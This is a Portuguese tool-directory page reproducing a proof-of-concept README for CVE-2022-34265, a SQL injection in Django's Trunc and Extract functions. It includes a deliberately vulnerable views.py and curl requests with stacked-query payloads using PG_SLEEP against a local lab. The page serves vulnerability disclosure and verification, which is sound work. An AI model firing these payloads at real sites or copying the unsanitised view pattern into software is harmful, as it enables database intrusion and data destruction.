Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-34265 — PoC para CVE-2022-34265 (Django) | Kitploit
Ferramentas/GitHubGitHub/aeyesec/cve-2022-34265
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoSegurança de Banco de Dados
GitHubaeyesec/cve-2022-34265

CVE-2022-34265

PoC para CVE-2022-34265 (Django)

Ver Repositório
12415há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-34265

Uso

iniciar

root@kitploit:~
docker-compose build
docker-compose up -d

parar

root@kitploit:~
docker-compose down

Verificação PoC da vulnerabilidade Django (CVE-2022-34265)

Uma vulnerabilidade (CVE-2022-34265) no Django foi divulgada em 5 de julho de 2022 (horário dos EUA). Este artigo descreve nossa discussão sobre esta vulnerabilidade e os resultados da nossa verificação.

Resumo da Vulnerabilidade

Esta vulnerabilidade deve-se ao processamento inadequado de strings ao executar SQL para os argumentos das funções Trunc e Extract usadas para dados de data no Django. Ao especificar os parâmetros da requisição como estão no argumento kind de Trunc ou no argumento lookup_name de Extract, existe o risco de que minutos arbitrários de SQL possam ser executados. Ao explorar esta vulnerabilidade, um terceiro pode enviar comandos para o banco de dados para acessar dados não autorizados ou excluir o banco de dados.

Versões Afetadas

  • Django 3.2.x anterior à 3.2.14
  • Django 4.0.x anterior à 4.0.6

Medidas Corretivas

  • Atualizar para Django 3.2.14 ou superior.
  • Atualizar para Django 4.0.6 ou superior.

Histórico da Vulnerabilidade e Considerações

Muitas das vulnerabilidades descobertas no Django no passado eram vulnerabilidades de Injeção SQL, e nos perguntamos se existiam outras vulnerabilidades como CVE-2020-7471, então verificamos os argumentos das funções de banco de dados por sua vez, encontramos argumentos que não haviam sido desintoxicados, e Takuto Yoshikai (o autor) relatou isso à IPA e à equipe de desenvolvimento do Django.

Como resultado, no lançamento que resolve a CVE-2022-34265

  • Manipulação de strings de argumentos vulneráveis
    • Manipulação de strings para evitar corrupção de instruções SQL quando aspas simples ou outros caracteres estão incluídos nos argumentos

As seguintes ações foram tomadas para abordar estas questões.

Ambiente de Verificação

  • ThinkPad Ubuntu20.04
  • Python 3.9.7
  • Django 4.0.5

Procedimento e Resultados da Verificação

Configuração

  • Nome do Projeto: project
  • Nome da Aplicação: vuln

Código Fonte

vuln/models.py

Usamos um exemplo da Documentação Django, modelo para uma tabela que registra a hora de início e fim de uma data.

root@kitploit:~
from django.db import models

class Experiment(models.Model):
    start_datetime = models.DateTimeField()
    start_date = models.DateField(null=True, blank=True)
    start_time = models.TimeField(null=True, blank=True)
    end_datetime = models.DateTimeField(null=True, blank=True)
    end_date = models.DateField(null=True, blank=True)
    end_time = models.TimeField(null=True, blank=True)

vuln/views.py

root@kitploit:~
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers

# /extract/?lookup_name=xxx

def vuln_extract(request):
    payload = request.GET.get('lookup_name')
    start = datetime(2015, 6, 15)
    end = datetime(2015, 7, 2)
    Experiment.objects.create(
        start_datetime=start, start_date=start.date(),
        end_datetime=end, end_date=end.date())
    experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
    return JsonResponse({"res": serializers.serialize("json", experiments)})

# /trunc/?kind=xxx
def vuln_trunc(request):
    payload = request.GET.get('kind')
    start = datetime(2015, 6, 15)
    end = datetime(2015, 7, 2)
    Experiment.objects.create(
        start_datetime=start, start_date=start.date(),
        end_datetime=end, end_date=end.date())
    experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
    return JsonResponse({"res": serializers.serialize("json", experiments)})

root@kitploit:~
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))

Isso filtra os números do ano na coluna start_datetime de Experiment que são iguais ao ano, mês, dia, hora, minuto, segundo, etc. de end_datetime. A vulnerabilidade de Injeção SQL pode ser acionada a partir daqui.

root@kitploit:~
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))

A função Trunc é usada para truncar partes específicas de ano, mês, dia, hora, minuto, segundo, etc. dos dados de data e hora. No exemplo acima, start_datetime e start_datetime com a parte payload truncada são o mesmo registro. Aqui é onde a vulnerabilidade de Injeção SQL pode ser acionada.

PoC

Para verificar se o ataque é bem-sucedido, use a instrução PG_SLEEP para ver se há um atraso no tempo em que a resposta é retornada.

root@kitploit:~
# URL normal
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"

# URL onde a instrução do banco de dados pode ser executada
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"

Eu especifiquei 5 segundos no PG_SLEEP, mas parece que PG_SLEEP(5) leva vários segundos. Parece ser chamado vários segundos dependendo da implementação e situação. Como instruções SQL arbitrárias podem ser executadas, ataques perigosos como exclusão de banco de dados são possíveis.

Resumo

Como resultado da nossa discussão e verificação, descobrimos que não há pouca possibilidade de um ataque bem-sucedido dependendo da implementação. Recomendamos que você atualize seu sistema o mais rápido possível para evitar o risco de DROP TABLE no pior cenário.

Informações de Referência

  • https://www.djangoproject.com/weblog/2022/jul/04/security-releases/
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34265
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7471
Baixar ferramenta